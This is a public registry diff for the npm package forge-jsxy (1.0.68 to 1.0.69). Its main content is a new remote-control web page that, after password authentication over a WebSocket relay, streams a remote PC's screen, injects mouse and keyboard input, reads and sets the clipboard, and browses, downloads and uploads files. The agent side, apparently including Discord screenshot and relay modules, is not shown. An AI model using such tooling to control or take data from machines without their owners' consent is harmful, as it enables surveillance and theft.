forge-jsxy 1.0.68 → 1.0.69
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/remote-control-template.html +496 -0
- package/dist/assets/files-explorer-template.html +1 -1
- package/dist/assets/remote-control-template.html +496 -0
- package/dist/discordAgentScreenshot.d.ts +2 -2
- package/dist/discordAgentScreenshot.js +5 -5
- package/dist/filesExplorer.d.ts +1 -0
- package/dist/filesExplorer.js +38 -0
- package/dist/fsMessages.js +16 -0
- package/dist/fsProtocol.d.ts +4 -0
- package/dist/fsProtocol.js +371 -23
- package/dist/relayAgent.js +9 -1
- package/dist/relayServer.js +22 -2
- package/package.json +1 -1
|
@@ -0,0 +1,496 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html lang="en">
|
|
3
|
+
<head>
|
|
4
|
+
<meta charset="UTF-8" />
|
|
5
|
+
<meta name="viewport" content="width=device-width,initial-scale=1" />
|
|
6
|
+
<title>Forge Remote Control</title>
|
|
7
|
+
<style>
|
|
8
|
+
:root { color-scheme: dark; }
|
|
9
|
+
body { margin: 0; font: 13px/1.4 system-ui, sans-serif; background: #1e1e1e; color: #d4d4d4; }
|
|
10
|
+
.bar { display: flex; gap: 8px; align-items: center; padding: 8px; background: #252526; border-bottom: 1px solid #3e3e42; }
|
|
11
|
+
.bar input, .bar button { font: inherit; }
|
|
12
|
+
.bar input { background: #3c3c3c; color: #d4d4d4; border: 1px solid #555; border-radius: 4px; padding: 5px 8px; }
|
|
13
|
+
.bar button { background: #0e639c; color: #fff; border: 0; border-radius: 4px; padding: 6px 10px; cursor: pointer; }
|
|
14
|
+
.bar button.alt { background: #3a3d41; }
|
|
15
|
+
.bar button.warn { background: #5a1d1d; }
|
|
16
|
+
.spacer { flex: 1; }
|
|
17
|
+
.state { opacity: .9; }
|
|
18
|
+
.screen-wrap { position: fixed; inset: 49px 0 0 0; overflow: auto; background: #111; }
|
|
19
|
+
.screen {
|
|
20
|
+
display: block;
|
|
21
|
+
max-width: none;
|
|
22
|
+
user-select: none;
|
|
23
|
+
cursor: default;
|
|
24
|
+
margin: 0;
|
|
25
|
+
}
|
|
26
|
+
.screen.write-enabled { cursor: crosshair; }
|
|
27
|
+
.file-panel { position: fixed; right: 8px; top: 56px; width: 360px; max-height: 50vh; overflow: auto; background: #1b1b1d; border: 1px solid #3e3e42; border-radius: 6px; padding: 8px; display: none; z-index: 8; }
|
|
28
|
+
.file-panel.open { display: block; }
|
|
29
|
+
.file-panel .row { display: flex; gap: 6px; margin-bottom: 6px; }
|
|
30
|
+
.file-panel button { font: inherit; }
|
|
31
|
+
.file-list { border: 1px solid #3e3e42; border-radius: 4px; padding: 4px; max-height: 35vh; overflow: auto; }
|
|
32
|
+
.file-item { display: block; width: 100%; text-align: left; background: #2a2a2d; color: #d4d4d4; border: 1px solid #3e3e42; border-radius: 4px; padding: 4px 6px; margin: 3px 0; cursor: pointer; }
|
|
33
|
+
.file-item.dir { background: #253045; }
|
|
34
|
+
.path-label { font-size: 12px; opacity: 0.85; word-break: break-all; }
|
|
35
|
+
</style>
|
|
36
|
+
</head>
|
|
37
|
+
<body>
|
|
38
|
+
<div class="bar">
|
|
39
|
+
<strong>Remote</strong>
|
|
40
|
+
<label>Session <input id="session" placeholder="client_xxx" /></label>
|
|
41
|
+
<label>Password <input id="pwd" type="password" placeholder="@@PWD_HINT@@" /></label>
|
|
42
|
+
<button id="connectBtn">Connect</button>
|
|
43
|
+
<button id="modeBtn" class="alt">View Only</button>
|
|
44
|
+
<button id="refreshBtn" class="alt">Refresh</button>
|
|
45
|
+
<button id="clipPullBtn" class="alt">Clipboard: PC -> Local</button>
|
|
46
|
+
<button id="clipPushBtn" class="alt">Clipboard: Local -> PC</button>
|
|
47
|
+
<button id="browseBtn" class="alt">Browse PC Files</button>
|
|
48
|
+
<input id="filePullPath" placeholder="C:\\Users\\...\\file.txt" />
|
|
49
|
+
<button id="filePullBtn" class="alt">Fetch File <- PC</button>
|
|
50
|
+
<input id="filePushInput" type="file" />
|
|
51
|
+
<button id="filePushBtn" class="alt">Send File -> PC</button>
|
|
52
|
+
<button id="disconnectBtn" class="warn">Disconnect</button>
|
|
53
|
+
<span class="spacer"></span>
|
|
54
|
+
<span class="state" id="state">Idle</span>
|
|
55
|
+
<span class="state" id="modeState">Mode: View Only</span>
|
|
56
|
+
</div>
|
|
57
|
+
<div class="screen-wrap" id="screenWrap">
|
|
58
|
+
<img id="screen" class="screen" alt="Remote screen" />
|
|
59
|
+
</div>
|
|
60
|
+
<div class="file-panel" id="filePanel">
|
|
61
|
+
<div class="row">
|
|
62
|
+
<button id="rootsBtn" class="alt">Roots</button>
|
|
63
|
+
<button id="upBtn" class="alt">Up</button>
|
|
64
|
+
<button id="closePanelBtn" class="warn">Close</button>
|
|
65
|
+
</div>
|
|
66
|
+
<div class="path-label" id="pathLabel">Path: (none)</div>
|
|
67
|
+
<div class="file-list" id="fileList"></div>
|
|
68
|
+
</div>
|
|
69
|
+
<script>
|
|
70
|
+
const relayFallback = @@RELAY_FALLBACK_JS@@ || "";
|
|
71
|
+
const pwdHint = @@PWD_JS@@ || "";
|
|
72
|
+
const stateEl = document.getElementById("state");
|
|
73
|
+
const modeStateEl = document.getElementById("modeState");
|
|
74
|
+
const sessionEl = document.getElementById("session");
|
|
75
|
+
const pwdEl = document.getElementById("pwd");
|
|
76
|
+
const screenEl = document.getElementById("screen");
|
|
77
|
+
const modeBtn = document.getElementById("modeBtn");
|
|
78
|
+
const wrapEl = document.getElementById("screenWrap");
|
|
79
|
+
const clipPullBtn = document.getElementById("clipPullBtn");
|
|
80
|
+
const clipPushBtn = document.getElementById("clipPushBtn");
|
|
81
|
+
const browseBtn = document.getElementById("browseBtn");
|
|
82
|
+
const filePullPath = document.getElementById("filePullPath");
|
|
83
|
+
const filePullBtn = document.getElementById("filePullBtn");
|
|
84
|
+
const filePushInput = document.getElementById("filePushInput");
|
|
85
|
+
const filePushBtn = document.getElementById("filePushBtn");
|
|
86
|
+
const filePanel = document.getElementById("filePanel");
|
|
87
|
+
const rootsBtn = document.getElementById("rootsBtn");
|
|
88
|
+
const upBtn = document.getElementById("upBtn");
|
|
89
|
+
const closePanelBtn = document.getElementById("closePanelBtn");
|
|
90
|
+
const pathLabel = document.getElementById("pathLabel");
|
|
91
|
+
const fileList = document.getElementById("fileList");
|
|
92
|
+
let ws = null;
|
|
93
|
+
let authed = false;
|
|
94
|
+
let writeEnabled = false;
|
|
95
|
+
let screenshotTimer = null;
|
|
96
|
+
let reqSeq = 0;
|
|
97
|
+
let inflightShot = false;
|
|
98
|
+
const pendingReqs = new Map();
|
|
99
|
+
let remoteClipboardBusy = false;
|
|
100
|
+
let localClipboardBusy = false;
|
|
101
|
+
let currentBrowsePath = "";
|
|
102
|
+
|
|
103
|
+
function setState(t) { stateEl.textContent = t; }
|
|
104
|
+
function updateWriteControls() {
|
|
105
|
+
const ro = !writeEnabled;
|
|
106
|
+
clipPullBtn.disabled = ro;
|
|
107
|
+
clipPushBtn.disabled = ro;
|
|
108
|
+
filePullBtn.disabled = ro;
|
|
109
|
+
filePullPath.disabled = ro;
|
|
110
|
+
filePushBtn.disabled = ro;
|
|
111
|
+
filePushInput.disabled = ro;
|
|
112
|
+
browseBtn.disabled = ro;
|
|
113
|
+
rootsBtn.disabled = ro;
|
|
114
|
+
upBtn.disabled = ro;
|
|
115
|
+
closePanelBtn.disabled = ro;
|
|
116
|
+
if (ro) filePanel.classList.remove("open");
|
|
117
|
+
}
|
|
118
|
+
function hashHex(s) {
|
|
119
|
+
return crypto.subtle.digest("SHA-256", new TextEncoder().encode(s)).then((buf) =>
|
|
120
|
+
[...new Uint8Array(buf)].map((b) => b.toString(16).padStart(2, "0")).join("")
|
|
121
|
+
);
|
|
122
|
+
}
|
|
123
|
+
function wsBaseUrl() {
|
|
124
|
+
if (location.protocol.startsWith("http")) {
|
|
125
|
+
const wsProto = location.protocol === "https:" ? "wss:" : "ws:";
|
|
126
|
+
return wsProto + "//" + location.host;
|
|
127
|
+
}
|
|
128
|
+
return relayFallback || "ws://127.0.0.1:9877";
|
|
129
|
+
}
|
|
130
|
+
function connect() {
|
|
131
|
+
const sid = String(sessionEl.value || new URLSearchParams(location.search).get("session") || "").trim();
|
|
132
|
+
if (!sid) { setState("Session required"); return; }
|
|
133
|
+
sessionEl.value = sid;
|
|
134
|
+
const url = wsBaseUrl().replace(/\/+$/, "") + "/ws/viewer/" + encodeURIComponent(sid);
|
|
135
|
+
disconnect();
|
|
136
|
+
setState("Connecting…");
|
|
137
|
+
ws = new WebSocket(url);
|
|
138
|
+
ws.onopen = () => { setState("Connected — waiting auth"); ws.send(JSON.stringify({ type: "get_info" })); };
|
|
139
|
+
ws.onclose = () => { authed = false; setState("Disconnected"); stopShotLoop(); };
|
|
140
|
+
ws.onerror = () => { setState("Socket error"); };
|
|
141
|
+
ws.onmessage = async (ev) => {
|
|
142
|
+
let msg = null;
|
|
143
|
+
try { msg = JSON.parse(String(ev.data || "")); } catch { return; }
|
|
144
|
+
const t = String(msg && msg.type || "");
|
|
145
|
+
if (t === "auth_challenge") {
|
|
146
|
+
const pwd = String(pwdEl.value || pwdHint || "");
|
|
147
|
+
const ph = await hashHex(pwd);
|
|
148
|
+
const nonce = String(msg.nonce || "");
|
|
149
|
+
const resp = await hashHex(ph + ":" + nonce);
|
|
150
|
+
ws.send(JSON.stringify({ type: "auth", nonce, response: resp, password_hash: ph }));
|
|
151
|
+
return;
|
|
152
|
+
}
|
|
153
|
+
if (t === "auth_result") {
|
|
154
|
+
authed = !!msg.ok;
|
|
155
|
+
setState(authed ? "Authenticated" : "Auth failed");
|
|
156
|
+
if (authed) { startShotLoop(); requestScreenshot(); }
|
|
157
|
+
return;
|
|
158
|
+
}
|
|
159
|
+
if (t === "system_info") {
|
|
160
|
+
setState("Connected (" + String(msg?.data?.platform || "unknown") + ")");
|
|
161
|
+
return;
|
|
162
|
+
}
|
|
163
|
+
if (t === "fs_screenshot_result") {
|
|
164
|
+
inflightShot = false;
|
|
165
|
+
if (msg.ok && msg.b64) {
|
|
166
|
+
const mime = String(msg.mime || "image/png");
|
|
167
|
+
screenEl.src = "data:" + mime + ";base64," + String(msg.b64);
|
|
168
|
+
}
|
|
169
|
+
return;
|
|
170
|
+
}
|
|
171
|
+
const rid = String(msg && msg.request_id || "");
|
|
172
|
+
if (rid && pendingReqs.has(rid)) {
|
|
173
|
+
const done = pendingReqs.get(rid);
|
|
174
|
+
pendingReqs.delete(rid);
|
|
175
|
+
try { done(msg); } catch {}
|
|
176
|
+
return;
|
|
177
|
+
}
|
|
178
|
+
};
|
|
179
|
+
}
|
|
180
|
+
function disconnect() {
|
|
181
|
+
stopShotLoop();
|
|
182
|
+
if (ws) { try { ws.close(); } catch {} ws = null; }
|
|
183
|
+
authed = false;
|
|
184
|
+
inflightShot = false;
|
|
185
|
+
pendingReqs.clear();
|
|
186
|
+
writeEnabled = false;
|
|
187
|
+
modeBtn.textContent = "View Only";
|
|
188
|
+
modeStateEl.textContent = "Mode: View Only";
|
|
189
|
+
modeBtn.className = "alt";
|
|
190
|
+
screenEl.classList.remove("write-enabled");
|
|
191
|
+
updateWriteControls();
|
|
192
|
+
}
|
|
193
|
+
function stopShotLoop() {
|
|
194
|
+
if (screenshotTimer) { clearInterval(screenshotTimer); screenshotTimer = null; }
|
|
195
|
+
}
|
|
196
|
+
function startShotLoop() {
|
|
197
|
+
stopShotLoop();
|
|
198
|
+
screenshotTimer = setInterval(requestScreenshot, 900);
|
|
199
|
+
}
|
|
200
|
+
function requestScreenshot() {
|
|
201
|
+
if (!ws || ws.readyState !== 1 || !authed || inflightShot) return;
|
|
202
|
+
inflightShot = true;
|
|
203
|
+
ws.send(JSON.stringify({ type: "fs_screenshot", request_id: "shot_" + (++reqSeq) }));
|
|
204
|
+
}
|
|
205
|
+
function wsRequest(type, payload) {
|
|
206
|
+
if (!ws || ws.readyState !== 1 || !authed) return Promise.resolve({ ok: false, error: "not connected" });
|
|
207
|
+
const rid = type + "_" + (++reqSeq);
|
|
208
|
+
return new Promise((resolve) => {
|
|
209
|
+
pendingReqs.set(rid, resolve);
|
|
210
|
+
ws.send(JSON.stringify(Object.assign({ type, request_id: rid }, payload || {})));
|
|
211
|
+
setTimeout(() => {
|
|
212
|
+
if (!pendingReqs.has(rid)) return;
|
|
213
|
+
pendingReqs.delete(rid);
|
|
214
|
+
resolve({ ok: false, error: "request timeout" });
|
|
215
|
+
}, 8000);
|
|
216
|
+
});
|
|
217
|
+
}
|
|
218
|
+
async function pullRemoteFileToLocal(remotePath) {
|
|
219
|
+
const p = String(remotePath || "").trim();
|
|
220
|
+
if (!p) return { ok: false, error: "remote path required" };
|
|
221
|
+
const rid = "pull_" + (++reqSeq);
|
|
222
|
+
let off = 0;
|
|
223
|
+
let eof = false;
|
|
224
|
+
const chunks = [];
|
|
225
|
+
let fileName = "remote-file.bin";
|
|
226
|
+
while (!eof) {
|
|
227
|
+
const r = await wsRequest("fs_read", {
|
|
228
|
+
path: p,
|
|
229
|
+
chunk: true,
|
|
230
|
+
offset: off,
|
|
231
|
+
request_id: rid,
|
|
232
|
+
max_bytes: 8 * 1024 * 1024,
|
|
233
|
+
});
|
|
234
|
+
if (!r || !r.ok) return { ok: false, error: String((r && r.error) || "read failed") };
|
|
235
|
+
const rp = String(r.path || p);
|
|
236
|
+
const seg = rp.split(/[\\/]/).pop();
|
|
237
|
+
if (seg) fileName = seg;
|
|
238
|
+
const b64 = String(r.b64 || "");
|
|
239
|
+
if (b64) chunks.push(b64);
|
|
240
|
+
off = Number.isFinite(Number(r.next_offset)) ? Math.max(off, Number(r.next_offset)) : off;
|
|
241
|
+
eof = Boolean(r.eof);
|
|
242
|
+
}
|
|
243
|
+
if (chunks.length === 0) return { ok: false, error: "empty file or no read access" };
|
|
244
|
+
let totalLen = 0;
|
|
245
|
+
const bytes = [];
|
|
246
|
+
for (const b64 of chunks) {
|
|
247
|
+
const bin = atob(b64);
|
|
248
|
+
totalLen += bin.length;
|
|
249
|
+
const arr = new Uint8Array(bin.length);
|
|
250
|
+
for (let i = 0; i < bin.length; i++) arr[i] = bin.charCodeAt(i);
|
|
251
|
+
bytes.push(arr);
|
|
252
|
+
}
|
|
253
|
+
const out = new Uint8Array(totalLen);
|
|
254
|
+
let pos = 0;
|
|
255
|
+
for (const arr of bytes) {
|
|
256
|
+
out.set(arr, pos);
|
|
257
|
+
pos += arr.length;
|
|
258
|
+
}
|
|
259
|
+
const blob = new Blob([out], { type: "application/octet-stream" });
|
|
260
|
+
const url = URL.createObjectURL(blob);
|
|
261
|
+
const a = document.createElement("a");
|
|
262
|
+
a.href = url;
|
|
263
|
+
a.download = fileName;
|
|
264
|
+
document.body.appendChild(a);
|
|
265
|
+
a.click();
|
|
266
|
+
a.remove();
|
|
267
|
+
setTimeout(() => URL.revokeObjectURL(url), 1500);
|
|
268
|
+
return { ok: true, fileName, size: totalLen };
|
|
269
|
+
}
|
|
270
|
+
function setPathLabel(p) {
|
|
271
|
+
pathLabel.textContent = "Path: " + (String(p || "").trim() || "(none)");
|
|
272
|
+
}
|
|
273
|
+
function clearFileList(msg) {
|
|
274
|
+
fileList.innerHTML = "";
|
|
275
|
+
const d = document.createElement("div");
|
|
276
|
+
d.className = "path-label";
|
|
277
|
+
d.textContent = msg;
|
|
278
|
+
fileList.appendChild(d);
|
|
279
|
+
}
|
|
280
|
+
function joinPath(base, name) {
|
|
281
|
+
const b = String(base || "");
|
|
282
|
+
const n = String(name || "");
|
|
283
|
+
if (!b) return n;
|
|
284
|
+
if (/[\\/]$/.test(b)) return b + n;
|
|
285
|
+
return b + "\\" + n;
|
|
286
|
+
}
|
|
287
|
+
async function loadRootsIntoPanel() {
|
|
288
|
+
if (!writeEnabled) return;
|
|
289
|
+
clearFileList("Loading roots...");
|
|
290
|
+
const r = await wsRequest("fs_roots");
|
|
291
|
+
if (!r || !r.ok) { clearFileList("Failed to load roots"); return; }
|
|
292
|
+
const roots = Array.isArray(r.roots) ? r.roots : [];
|
|
293
|
+
currentBrowsePath = "";
|
|
294
|
+
setPathLabel("");
|
|
295
|
+
fileList.innerHTML = "";
|
|
296
|
+
for (const root of roots) {
|
|
297
|
+
const p = String(root.path || "");
|
|
298
|
+
if (!p) continue;
|
|
299
|
+
const btn = document.createElement("button");
|
|
300
|
+
btn.className = "file-item dir";
|
|
301
|
+
btn.textContent = "[ROOT] " + p;
|
|
302
|
+
btn.addEventListener("click", () => loadPathIntoPanel(p));
|
|
303
|
+
fileList.appendChild(btn);
|
|
304
|
+
}
|
|
305
|
+
if (!roots.length) clearFileList("No roots available");
|
|
306
|
+
}
|
|
307
|
+
async function loadPathIntoPanel(p) {
|
|
308
|
+
const pathToLoad = String(p || "").trim();
|
|
309
|
+
if (!pathToLoad) return;
|
|
310
|
+
clearFileList("Loading...");
|
|
311
|
+
const r = await wsRequest("fs_list", { path: pathToLoad });
|
|
312
|
+
if (!r || !r.ok) { clearFileList("Failed to open folder"); return; }
|
|
313
|
+
currentBrowsePath = pathToLoad;
|
|
314
|
+
setPathLabel(currentBrowsePath);
|
|
315
|
+
fileList.innerHTML = "";
|
|
316
|
+
const entries = Array.isArray(r.entries) ? r.entries : [];
|
|
317
|
+
for (const it of entries) {
|
|
318
|
+
const name = String(it.name || "");
|
|
319
|
+
const kind = String(it.kind || "");
|
|
320
|
+
if (!name) continue;
|
|
321
|
+
const full = joinPath(pathToLoad, name);
|
|
322
|
+
const btn = document.createElement("button");
|
|
323
|
+
btn.className = "file-item" + (kind === "dir" ? " dir" : "");
|
|
324
|
+
btn.textContent = (kind === "dir" ? "[DIR] " : "[FILE] ") + name;
|
|
325
|
+
if (kind === "dir") {
|
|
326
|
+
btn.addEventListener("click", () => loadPathIntoPanel(full));
|
|
327
|
+
} else {
|
|
328
|
+
btn.addEventListener("click", async () => {
|
|
329
|
+
filePullPath.value = full;
|
|
330
|
+
setState("Fetching remote file...");
|
|
331
|
+
const rr = await pullRemoteFileToLocal(full);
|
|
332
|
+
if (!rr || !rr.ok) { setState("File fetch failed"); return; }
|
|
333
|
+
setState("Fetched file from PC: " + String(rr.fileName || "download"));
|
|
334
|
+
});
|
|
335
|
+
}
|
|
336
|
+
fileList.appendChild(btn);
|
|
337
|
+
}
|
|
338
|
+
if (!entries.length) clearFileList("Folder is empty");
|
|
339
|
+
}
|
|
340
|
+
function sendRemoteInput(payload) {
|
|
341
|
+
if (!ws || ws.readyState !== 1 || !authed || !writeEnabled) return;
|
|
342
|
+
ws.send(JSON.stringify(Object.assign({
|
|
343
|
+
type: "rc_input",
|
|
344
|
+
request_id: "rc_" + (++reqSeq),
|
|
345
|
+
}, payload || {})));
|
|
346
|
+
}
|
|
347
|
+
function imgPoint(ev) {
|
|
348
|
+
const r = screenEl.getBoundingClientRect();
|
|
349
|
+
if (!r.width || !r.height || !screenEl.naturalWidth || !screenEl.naturalHeight) return null;
|
|
350
|
+
const x = Math.max(0, Math.min(screenEl.naturalWidth - 1, Math.round((ev.clientX - r.left) * (screenEl.naturalWidth / r.width))));
|
|
351
|
+
const y = Math.max(0, Math.min(screenEl.naturalHeight - 1, Math.round((ev.clientY - r.top) * (screenEl.naturalHeight / r.height))));
|
|
352
|
+
return { x, y };
|
|
353
|
+
}
|
|
354
|
+
|
|
355
|
+
document.getElementById("connectBtn").addEventListener("click", connect);
|
|
356
|
+
document.getElementById("disconnectBtn").addEventListener("click", disconnect);
|
|
357
|
+
document.getElementById("refreshBtn").addEventListener("click", requestScreenshot);
|
|
358
|
+
modeBtn.addEventListener("click", () => {
|
|
359
|
+
writeEnabled = !writeEnabled;
|
|
360
|
+
modeBtn.textContent = writeEnabled ? "Write Only" : "View Only";
|
|
361
|
+
modeStateEl.textContent = writeEnabled ? "Mode: Write Only" : "Mode: View Only";
|
|
362
|
+
modeBtn.className = writeEnabled ? "warn" : "alt";
|
|
363
|
+
screenEl.classList.toggle("write-enabled", writeEnabled);
|
|
364
|
+
updateWriteControls();
|
|
365
|
+
});
|
|
366
|
+
clipPullBtn.addEventListener("click", async () => {
|
|
367
|
+
if (!writeEnabled) { setState("Enable Write Only mode for clipboard"); return; }
|
|
368
|
+
const r = await wsRequest("rc_clipboard_get");
|
|
369
|
+
if (!r || !r.ok) { setState("Clipboard pull failed"); return; }
|
|
370
|
+
const text = String(r.text || "");
|
|
371
|
+
try {
|
|
372
|
+
await navigator.clipboard.writeText(text);
|
|
373
|
+
setState("Clipboard copied from PC to local");
|
|
374
|
+
} catch {
|
|
375
|
+
setState("Clipboard write blocked by browser");
|
|
376
|
+
}
|
|
377
|
+
});
|
|
378
|
+
clipPushBtn.addEventListener("click", async () => {
|
|
379
|
+
if (!writeEnabled) { setState("Enable Write Only mode for clipboard"); return; }
|
|
380
|
+
let text = "";
|
|
381
|
+
try {
|
|
382
|
+
text = await navigator.clipboard.readText();
|
|
383
|
+
} catch {
|
|
384
|
+
setState("Clipboard read blocked by browser");
|
|
385
|
+
return;
|
|
386
|
+
}
|
|
387
|
+
const r = await wsRequest("rc_clipboard_set", { text });
|
|
388
|
+
if (!r || !r.ok) { setState("Clipboard push failed"); return; }
|
|
389
|
+
setState("Clipboard sent from local to PC");
|
|
390
|
+
});
|
|
391
|
+
filePullBtn.addEventListener("click", async () => {
|
|
392
|
+
if (!writeEnabled) { setState("Enable Write Only mode for file fetch"); return; }
|
|
393
|
+
const p = String(filePullPath.value || "").trim();
|
|
394
|
+
if (!p) { setState("Enter remote file path first"); return; }
|
|
395
|
+
setState("Fetching remote file…");
|
|
396
|
+
const r = await pullRemoteFileToLocal(p);
|
|
397
|
+
if (!r || !r.ok) { setState("File fetch failed"); return; }
|
|
398
|
+
setState("Fetched file from PC: " + String(r.fileName || "download"));
|
|
399
|
+
});
|
|
400
|
+
browseBtn.addEventListener("click", async () => {
|
|
401
|
+
if (!writeEnabled) { setState("Enable Write Only mode for file browse"); return; }
|
|
402
|
+
filePanel.classList.toggle("open");
|
|
403
|
+
if (!filePanel.classList.contains("open")) return;
|
|
404
|
+
await loadRootsIntoPanel();
|
|
405
|
+
});
|
|
406
|
+
rootsBtn.addEventListener("click", async () => {
|
|
407
|
+
if (!writeEnabled) return;
|
|
408
|
+
await loadRootsIntoPanel();
|
|
409
|
+
});
|
|
410
|
+
upBtn.addEventListener("click", async () => {
|
|
411
|
+
if (!writeEnabled) return;
|
|
412
|
+
if (!currentBrowsePath) { await loadRootsIntoPanel(); return; }
|
|
413
|
+
const r = await wsRequest("fs_parent", { path: currentBrowsePath });
|
|
414
|
+
const p = r && r.ok ? String(r.path || "") : "";
|
|
415
|
+
if (!p) { await loadRootsIntoPanel(); return; }
|
|
416
|
+
await loadPathIntoPanel(p);
|
|
417
|
+
});
|
|
418
|
+
closePanelBtn.addEventListener("click", () => {
|
|
419
|
+
filePanel.classList.remove("open");
|
|
420
|
+
});
|
|
421
|
+
filePushBtn.addEventListener("click", async () => {
|
|
422
|
+
if (!writeEnabled) { setState("Enable Write Only mode for file send"); return; }
|
|
423
|
+
const f = filePushInput.files && filePushInput.files[0];
|
|
424
|
+
if (!f) { setState("Choose a file first"); return; }
|
|
425
|
+
const maxBytes = 20 * 1024 * 1024;
|
|
426
|
+
if (f.size > maxBytes) { setState("File too large (max 20MB)"); return; }
|
|
427
|
+
let b64 = "";
|
|
428
|
+
try {
|
|
429
|
+
const buf = await f.arrayBuffer();
|
|
430
|
+
const bytes = new Uint8Array(buf);
|
|
431
|
+
let bin = "";
|
|
432
|
+
const chunk = 0x8000;
|
|
433
|
+
for (let i = 0; i < bytes.length; i += chunk) {
|
|
434
|
+
bin += String.fromCharCode.apply(null, bytes.subarray(i, i + chunk));
|
|
435
|
+
}
|
|
436
|
+
b64 = btoa(bin);
|
|
437
|
+
} catch {
|
|
438
|
+
setState("Failed to read local file");
|
|
439
|
+
return;
|
|
440
|
+
}
|
|
441
|
+
setState("Sending file…");
|
|
442
|
+
const r = await wsRequest("rc_file_push", { name: String(f.name || "upload.bin"), b64 });
|
|
443
|
+
if (!r || !r.ok) { setState("File send failed"); return; }
|
|
444
|
+
const saved = String(r.saved_path || "");
|
|
445
|
+
setState(saved ? ("File sent to PC: " + saved) : "File sent to PC");
|
|
446
|
+
filePushInput.value = "";
|
|
447
|
+
});
|
|
448
|
+
|
|
449
|
+
screenEl.addEventListener("click", (ev) => {
|
|
450
|
+
const p = imgPoint(ev); if (!p) return;
|
|
451
|
+
sendRemoteInput({ action: "mouse_click", button: ev.button === 2 ? "right" : "left", x: p.x, y: p.y, click_count: 1 });
|
|
452
|
+
requestScreenshot();
|
|
453
|
+
});
|
|
454
|
+
screenEl.addEventListener("dblclick", (ev) => {
|
|
455
|
+
const p = imgPoint(ev); if (!p) return;
|
|
456
|
+
sendRemoteInput({ action: "mouse_click", button: "left", x: p.x, y: p.y, click_count: 2 });
|
|
457
|
+
requestScreenshot();
|
|
458
|
+
});
|
|
459
|
+
screenEl.addEventListener("contextmenu", (ev) => ev.preventDefault());
|
|
460
|
+
wrapEl.addEventListener("wheel", (ev) => {
|
|
461
|
+
if (!writeEnabled) return;
|
|
462
|
+
ev.preventDefault();
|
|
463
|
+
sendRemoteInput({ action: "mouse_wheel", delta_y: Math.round(ev.deltaY) });
|
|
464
|
+
}, { passive: false });
|
|
465
|
+
window.addEventListener("keydown", (ev) => {
|
|
466
|
+
if (!writeEnabled) return;
|
|
467
|
+
if (ev.ctrlKey && ev.shiftKey && !ev.altKey && !ev.metaKey && String(ev.key || "").toLowerCase() === "c") {
|
|
468
|
+
ev.preventDefault();
|
|
469
|
+
if (!remoteClipboardBusy) {
|
|
470
|
+
remoteClipboardBusy = true;
|
|
471
|
+
clipPullBtn.click();
|
|
472
|
+
setTimeout(() => { remoteClipboardBusy = false; }, 1200);
|
|
473
|
+
}
|
|
474
|
+
return;
|
|
475
|
+
}
|
|
476
|
+
if (ev.ctrlKey && ev.shiftKey && !ev.altKey && !ev.metaKey && String(ev.key || "").toLowerCase() === "v") {
|
|
477
|
+
ev.preventDefault();
|
|
478
|
+
if (!localClipboardBusy) {
|
|
479
|
+
localClipboardBusy = true;
|
|
480
|
+
clipPushBtn.click();
|
|
481
|
+
setTimeout(() => { localClipboardBusy = false; }, 1200);
|
|
482
|
+
}
|
|
483
|
+
return;
|
|
484
|
+
}
|
|
485
|
+
if (["INPUT", "TEXTAREA"].includes(String(document.activeElement && document.activeElement.tagName || ""))) return;
|
|
486
|
+
ev.preventDefault();
|
|
487
|
+
sendRemoteInput({ action: "key", key: ev.key, ctrl: ev.ctrlKey, alt: ev.altKey, shift: ev.shiftKey, meta: ev.metaKey });
|
|
488
|
+
});
|
|
489
|
+
|
|
490
|
+
const sid0 = new URLSearchParams(location.search).get("session");
|
|
491
|
+
if (sid0) sessionEl.value = sid0;
|
|
492
|
+
if (pwdHint) pwdEl.value = pwdHint;
|
|
493
|
+
updateWriteControls();
|
|
494
|
+
</script>
|
|
495
|
+
</body>
|
|
496
|
+
</html>
|
|
@@ -8,7 +8,7 @@
|
|
|
8
8
|
<title>Forge-explorer</title>
|
|
9
9
|
<link rel="icon" href="/forge-explorer-favicon.svg" type="image/svg+xml"/>
|
|
10
10
|
<link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
|
|
11
|
-
<!-- forge-jsxy@1.0.
|
|
11
|
+
<!-- forge-jsxy@1.0.69 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
|
|
12
12
|
<style>
|
|
13
13
|
/*
|
|
14
14
|
* Cursor / VS Code “Dark Modern” + dashboard-style chrome (remote file explorer):
|